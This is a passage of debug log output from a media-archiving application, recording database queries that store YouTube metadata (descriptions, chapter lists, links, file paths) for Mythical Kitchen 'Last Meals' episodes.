Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Margaret Cho Eats Her Last Meal", "https://www.youtube.com/watch?v=_jhZgs7qVQU", "_jhZgs7qVQU", 1835, false, "/downloads/Last Meals/2023-02-07 Margaret Cho Eats Her Last Meal/Margaret Cho Eats Her Last Meal [_jhZgs7qVQU].mp4", false, 1, ~U[2023-02-07 11:00:20Z]] 20:49:32.303 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.304 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-11 11:01:09Z], 1] 20:49:32.304 [debug] QUERY OK source="media_items" db=0.5ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Teddy Swims eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Teddy's Last Meal\n1:08 Have You Thought About Your Last Meal Before?\n1:46 How Often Do You Think About Death?\n4:03 1st Course\n5:52 Fast Food & Divorced Dads\n9:52 Trying Everything Except For Therapy\n12:02 Couple's Therapy & Becoming A Dad\n14:41 2nd Course\n16:28 Calling Himself \"The Fat Troy Bolton\"\n18:52 Quitting Cosmetology School\n21:39 Teddy's New \"Why\"\n23:07 3rd Course\n24:41 \"Lose Control\" At Josh's Wedding\n26:43 Teddy's First Band\n29:28 Family Role Models & Competing With \"Glamma\"\n32:12 4th Course\n35:39 Teddy's Pentecostal Grandpa\n37:05 God Can Handle Our Anger\n39:25 Lightning Round\n42:48 Teddy's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Teddy Swims Eats His Last Meal", "b4234d8d-69c6-4832-b263-f02b30a6d95a", "https://www.youtube.com/watch?v=nblHDBr5d_0", false, "nblHDBr5d_0", 2656, false, 43, "/downloads/Last Meals/2025-02-11 Teddy Swims Eats His Last Meal/Teddy Swims Eats His Last Meal [nblHDBr5d_0].mp4", false, false, 1, [], 1, ~U[2025-02-11 11:01:09Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Teddy Swims eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Teddy's Last Meal\n1:08 Have You Thought About Your Last Meal Before?\n1:46 How Often Do You Think About Death?\n4:03 1st Course\n5:52 Fast Food & Divorced Dads\n9:52 Trying Everything Except For Therapy\n12:02 Couple's Therapy & Becoming A Dad\n14:41 2nd Course\n16:28 Calling Himself \"The Fat Troy Bolton\"\n18:52 Quitting Cosmetology School\n21:39 Teddy's New \"Why\"\n23:07 3rd Course\n24:41 \"Lose Control\" At Josh's Wedding\n26:43 Teddy's First Band\n29:28 Family Role Models & Competing With \"Glamma\"\n32:12 4th Course\n35:39 Teddy's Pentecostal Grandpa\n37:05 God Can Handle Our Anger\n39:25 Lightning Round\n42:48 Teddy's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Teddy Swims Eats His Last Meal", "https://www.youtube.com/watch?v=nblHDBr5d_0", "nblHDBr5d_0", 2656, false, "/downloads/Last Meals/2025-02-11 Teddy Swims Eats His Last Meal/Teddy Swims Eats His Last Meal [nblHDBr5d_0].mp4", false, 1, ~U[2025-02-11 11:01:09Z]] 20:49:32.305 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.305 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-25 11:02:01Z], 1] 20:49:32.310 [debug] QUERY OK source="media_items" db=4.8ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Elizabeth Olsen eats her last meal.\n\nSAVE BIG on all things Mythical! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Elizabeth's Last Meal\n0:20 Volleyball Legend\n3:02 How Often Do You Think About Death?\n4:50 1st Course\n 8:31 Fantasizing About Being Old\n10:59 Going To College In Russia\n15:04 Being A Foodie\n17:22 Death Panic & Watching ETERNITY\n21:18 2nd Course\n25:37 Always Wanted To Be a Performer\n28:09 Avoiding Fame\n29:45 Joining the Marvel Cinematic Universe\n32:55 3rd Course\n36:03 Valley Girl Accents\n39:08 Dealing With Grief & Fear Of Death\n43:16 Final Memories\n44:01 Lightning Round\n47:26 Lizzie's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Elizabeth Olsen Eats Her Last Meal", "21a98b20-ba0f-4a5d-b008-5b1a797eb49a", "https://www.youtube.com/watch?v=xEhk5iOQnmg", false, "xEhk5iOQnmg", 2893, false, 44, "/downloads/Last Meals/2025-11-25 Elizabeth Olsen Eats Her Last Meal/Elizabeth Olsen Eats Her Last Meal [xEhk5iOQnmg].mp4", false, false, 1, [], 1, ~U[2025-11-25 11:02:01Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Elizabeth Olsen eats her last meal.\n\nSAVE BIG on all things Mythical! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Elizabeth's Last Meal\n0:20 Volleyball Legend\n3:02 How Often Do You Think About Death?\n4:50 1st Course\n 8:31 Fantasizing About Being Old\n10:59 Going To College In Russia\n15:04 Being A Foodie\n17:22 Death Panic & Watching ETERNITY\n21:18 2nd Course\n25:37 Always Wanted To Be a Performer\n28:09 Avoiding Fame\n29:45 Joining the Marvel Cinematic Universe\n32:55 3rd Course\n36:03 Valley Girl Accents\n39:08 Dealing With Grief & Fear Of Death\n43:16 Final Memories\n44:01 Lightning Round\n47:26 Lizzie's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Elizabeth Olsen Eats Her Last Meal", "https://www.youtube.com/watch?v=xEhk5iOQnmg", "xEhk5iOQnmg", 2893, false, "/downloads/Last Meals/2025-11-25 Elizabeth Olsen Eats Her Last Meal/Elizabeth Olsen Eats Her Last Meal [xEhk5iOQnmg].mp4", false, 1, ~U[2025-11-25 11:02:01Z]] 20:49:32.310 [debug] QUERY OK source="sources" db=0.0ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.310 [debug] QUERY OK source="media_items" db=0.0ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-05 11:01:04Z], 1] 20:49:32.311 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ludwig is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Ludwig Eats His Last Meal", "a152e612-e32a-4c96-a788-f083d89ce45f", "https://www.youtube.com/watch?v=rexfoQ17fTc", false, "rexfoQ17fTc", 2606, false, 45, "/downloads/Last Meals/2024-11-05 Ludwig Eats His Last Meal/Ludwig Eats His Last Meal [rexfoQ17fTc].mp4", false, false, 1, [], 1, ~U[2024-11-05 11:01:04Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Ludwig is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Ludwig Eats His Last Meal", "https://www.youtube.com/watch?v=rexfoQ17fTc", "rexfoQ17fTc", 2606, false, "/downloads/Last Meals/2024-11-05 Ludwig Eats His Last Meal/Ludwig Eats His Last Meal [rexfoQ17fTc].mp4", false, 1, ~U[2024-11-05 11:01:04Z]] 20:49:32.311 [debug] QUERY OK source="sources" db=0.0ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.311 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-03 10:00:32Z], 1] 20:49:32.312 [debug] QUERY OK source="media_items" db=0.5ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Kevin Bacon eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Kevin's Last Meal\n1:24 Have You Thought About Your Last Meal Before?\n2:38 1st Course\n5:23 The Music Of Cooking\n6:50 Hunting Demons\n8:28 Writing Music For The Bondsman\n11:07 2nd Course\n13:22 The Father Of Modern Philadelphia\n15:18 Kevin's Intentional Parenting Style\n19:19 3rd Course\n21:30 A Lonely Farmer With A Dog\n23:06 Kyra Was Right\n24:23 Black Cat & Golden Retriever Relationships\n25:30 Leave The World Better Than You Found It\n27:35 4th Course\n28:31 Six Degress Of Kevin Bacon\n31:52 Losing Parents\n34:04 What Do You Think Happens When You Die?\n34:18 Lightning Round\n35:22 Kevin's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided 